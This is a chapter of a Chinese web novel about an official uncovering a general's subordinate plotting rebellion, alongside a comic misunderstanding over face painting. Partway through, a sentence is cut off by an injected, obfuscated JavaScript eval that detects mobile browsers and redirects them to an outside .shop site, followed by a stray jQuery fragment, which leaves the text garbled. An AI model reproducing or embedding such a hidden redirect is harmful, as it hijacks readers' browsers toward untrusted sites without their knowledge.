手起剑落,冒着冷光的刀刃快速地劈了下来。
剑刃反射烛光,刺得傅言卿双目微眯。
那蓄着胡髯的将军,显然是训练有素,只是恰到好处地将蒙在他面上的黑纱挑落。
“晏如老弟?怎么是你?”
看清来人面目之后,他惊得睁大了双眼,眼角的疤痕与经年的皱纹都随着面部舒展了开来。
“庞将军,冒犯了。”
傅言卿原本半靠在帐内的文书柜旁,他随即起身拍了拍沾了尘土的衣摆,向庞广拱手行礼。
庞广赶忙收起了青铜剑,扶着他的胳膊连连称歉,他转身拎起了桌上存水的铜壶,给傅言卿倒了一碗清水。
“行军打仗,未曾备茶,老弟还请见谅。”
他又快步走到帐边,掀开帐帘四处观望了下,随后走回傅言卿身旁义愤填膺:
“老弟,我听闻你被贬,可是没了去处?我猜想你定是被那董蒲老儿所坑害!我这里苦是苦了些,但是凭你身手,肯定有你口吃的!”
傅言卿豪饮了一碗水,只是用袖口擦了下嘴角,摆了摆手:
“潜入将军帐中实乃下策,是有要事要商议,来得匆忙手上沾了些尘土,可否待我先清洗一下?”
庞广朗声一笑,头向墙角铜盆方向努了努,“我这还有江州一钱庄送来慰军的胰皂,十分好用,老弟不必拘礼!”
拿起胰皂,傅言卿敏锐嗅闻了一下,通体透明并无味道,更别说是硝石味了。
看来张益早已把所有硝石粉从中提炼,待其凝固才又下发慰军。
“我听闻军中莫名生了疮病?这是怎么回事?”傅言卿回桌旁与庞广对坐,若有所思地询问起来。
庞广的表情变得严肃起来,他收起了刚才豪迈的笑意,狠狠地喝了一碗水:
“我们军中将士向来英武善战,军纪严明,谁曾想一颗老鼠屎坏了一锅汤!”
他叹了口气,继续说道:“有个营子里一小兵,趁着休军违令外出狎ji,染了一身疮病。杂役洗衣都是大锅洗,好多人都由此也染上了,死了几百个兵啊,谁不是家里的亲骨肉。”
说到此处,庞广心痛地扶了扶额,此时他眼角深褐色的皮肤沟-壑,险些要溢出些老泪。
“好在是张益及时发现源头,又有江州这好心的钱庄给送来了大批的胰皂,这才稍微抑制住了些。”
傅言卿听来心痛,他看庞广现在还仍然被蒙在鼓里,心里更加揪了起来,正想拍其肩膀安抚时,帐外有个稍显稚嫩的少年声音禀报。
得到应允,对方麻利掀开帘子便走了进来。
那少年看着不过及笄之年,轮廓尚未褪-去青涩,他腰间束着革带,梳着一个利落马尾,透着一股子初生牛犊不怕虎的劲头。
“将军,我已巡视完毕,除去东营烤火有了些火星,现已扑灭,其余一切正常。”声音清脆,丝毫不拖泥带水。
傅言卿抬了抬眉,这少年眉眼他有些熟悉,只是多年过去,不敢妄自辨别。
庞广哈哈大笑,从身旁拿起一袋干粮,随后干脆利落地丢向少年,赞许地说道:
“好小子,拿去吃。先来问候你晏如叔。”
看到这少年,他心情从刚才的悲伤中有了少许缓解,脸上又有了笑意,转过头跟傅言卿介绍着:
“我儿庞敬。”
傅言卿突然想起了这少年,当年在江南道任职,碰巧与庞广相识,当时庞敬还只是个爱哭的犄角小娃,没想到现在已然长成一副少年将军气度。
“晏如叔。”庞敬抱了抱拳,低头弓腰,表情坚毅又言语简短。
看着他严肃的神色,傅言卿没来由地笑了一笑,他回忆起自己的少年时,也曾是如此这般。
只不过,他弃武从文,选择了在朝堂之上周旋。而庞敬,则选择跟着骁勇善战的庞广,在这沙场之上纵马驰骋。
无论文武称臣,亦或是恬淡安居乐业,只要明确心中所想,自是都能乐得逍遥。
在场也没有其他外人,傅言卿索性直接道出前来目的,从云州药铺,到江州钱庄,再到锡镇,如同连珠串一般的线索,自此被串联了起来。
庞广的脸色越听越差,就连在一旁安静候着的庞敬,本无表情的脸上,也闪过了一丝诧异。
“你是说张益,他做了这一切。”庞广狠锤了下桌沿,眼神里熊熊燃烧着烈火,充斥着愤怒与恨。
傅言卿点了点头,他又从怀中展开了徐佑之此前搜出的信件,与部分硝石粉与散灰混杂的粉末,给庞广递了上去。
庞广在内心谴责自己没有尽早发现,捶胸顿足地继续问道:
“可他这样做,究竟是为何?”
傅言卿抬头看了看庞广,说出了那句他最不想听到的那个结论:
“他要反。”
*
这些天,李麦香虽然跟着赵令仪学了不少休闲解闷的乐子,诸如叶子戏、骰子猜点、还有酒令之类,但仍然觉得内心有些空虚。
平日里在回味居忙得脚不沾地的李掌柜,此时倒是成了游散闲人。
最是让她抓心挠肝的,是她时不时地就会担忧傅言卿的安危,一旦闲下来,就会在脑中不停地想。
索性收拾了下自己,她打算出门探探行情。
江州城大,是云州的两三倍,若是手头有了资产,倒是可以在这边开个分店,再找个代理人之类的。
走在街头,各种新奇玩物吸引了李麦香的目光,拨浪鼓、泥人、竹蜻蜓......都是之前傅言卿曾给她买回的物件。
当时两人还囿于他的身份,反复试探确认。而如今,两人已是彼此最亲密的人。
李麦香走过他曾走过的路,沿着他的路线,还看到那家香料铺子,耳根一时红热,赶忙快步走了过去。
那筒春宵欢宜香,此时还被她塞在抽屉的最里侧。
从城北坐着乌篷船又到了城南,李麦香又去李云滨家手头的几家空铺子看了看。
虽然当时只是为了跟李清川有个托词,但她也顺带记住了几家店面的价格、临铺和门面地段。
真正到实地考察,才发现李家钱庄十分有投资头脑,几家店铺的综合情况已经可以算是最佳,李麦香还真在两家之间比较起来。
一家在长乐主街,来往客人众多,近旁是一家说书茶馆和布庄,非常适合做明档,只是租金实在是贵,不是她现在能负担的起的。
而另一家,则是靠近南水门,临近车马行和船夫歇脚的地方,有些像云州那边的小码头,只是规模更加大。
但是因为地理位置有些偏,这家租金也相较于第一家便宜些。
李麦香在内心反复思索着,随后突然嗤笑了一声自己傻,现在跟柳小姐的抵押还有一-大半没还清,哪里可以在这里肖想分店。
更何况李家钱庄的这几家店面,本身就是优中选优,个顶个的好,租金都不菲。
不过人要有志气,李麦香在街边买了个浇汁烤鸭勉励自己,鸭肉入味,唇齿留香。
总有一天可以的。
回到郡主府,这几天已经和赵令仪混熟的李麦香,也就不再拘泥于那些繁文缛节。
她穿过花庭,二话不说便径直往赵令仪的房间走去,一边走还一边哼唱着歌曲,她已经忘记了名字的一首流行歌。
正要敲门,李麦香听到房间里传来些声响,让她顿时脸红心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17762895|203750||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
跳,不知该走还是该留。
她保证自己不是有意的。
“令仪,别。这样有些过头了。”侧耳一听,这分明就是李云滨的声音。
不同于以往,他或打趣或揶揄别人时,此刻这声音里,带了些暧昧,还有一些拉长的缱绻尾音。
“云鬓,我知道你喜欢这样,再多尝试,你会习惯的。”
随后屋子里传来了些衣料摩-擦的簌簌声,还有一些金属碰撞的声音。
此情此景,真的很难让人不联想万千。
“姑娘,怎得不进去。”
彩云的声音突然从身后传来,吓了李麦香一激灵,她差点就要一蹦三尺高。
彩云手里端着拖盘,里面放了些什么东西,好像有画笔颜料?李麦香扫了一眼也不敢多看。
似乎怕对方以为自己在偷听他人房中之事,李麦香赤红着张脸,赶忙小声无力地辩解:
“我,他们,我不知道。我只是,碰巧。”
好巧不巧,门内人似乎是听到门口有说话动静,在屋子里传来了阵踱步声,像是要来开门。
李麦香就这样经历了人生中最窘迫的几分钟,她一时间不知是该走还是该留,大脑彻底地当了机。
随着大门打开,李麦香赶忙捂住了自己的双眼,一只手不够,她便换用两只手。
一边捂一边还仓促又混乱地重复着:“别,别......”
“麦香,你正好回来了!快来看看,我和云鬓在玩些有趣的。”
开门的是赵令仪,只见她一脸的兴致勃勃,身上穿着的宽袍长袖衫,十分规整,完全看不出凌乱。
李麦香脑袋彻底炸了锅,她懵了头脑,淡淡抬手指了指自己:“我也能看?”
这古代人也太开放了。
赵令仪似乎是没弄懂她的意思,歪着头疑惑地问道:“当然,你为什么不能看?我在给云鬓画面部彩绘。”
她笑了笑,赶忙拉着李麦香进了屋。
只见李云滨今日只是身着了件素衣,他的脸颊一侧绘制了一只彩蝶,还有几朵花苞,灵动点缀,显得整个人更加秀美。
终于弄明白一切都是误会,李麦香顿时有些汗流浃背,她为自己的想歪而想掘地三尺。
李云滨无奈地冲她笑了笑,随即说道:
“令仪说我最近没气色,就绘了这些,我看着有些古怪,你觉得如何?”
李麦香擦了擦额角渗出的汗,伸出了个大拇指,悻悻地说:
“不怪不怪,果真好看。”
这都啥事啊。
*
锡镇朗凌山山脚。
“将军,东营那边有动静。”
此时傅言卿和庞广正在谈事,庞敬今日并未通报就进来,以他的沉稳性子,这并不寻常。
庞广没怪罪他,豪饮了一碗热酒,擦了擦嘴让他继续说。
“张益的手下避了暗哨,正在往中军几处大帐埋土火炮。换防时我看到,有几个人是他手下,腰间配上了火折袖箭。”
庞敬冷静地把自己的发现一一汇报,为了这一天,他已经在暗处潜伏观察了很久。
庞广将酒碗一砸,粗瓷片子顿时在地上碎了个七零八落,他狠狠地咬牙切齿:
“好啊,老子待他不薄,他倒嫌老子的命太长了。”
傅言卿走到沙盘前,看着整个营地的布局:
“他暗中布置,说明已然被我们泄漏的假消息所蒙蔽,怕不是此时在他眼中,你还在帐内喝酒呢。”
庞广接过了话,言语中满是凛然杀意,他拍了拍傅言卿的肩膀:
“按晏如你之计,待他引爆火器,老子给他来一个瓮中捉鳖。”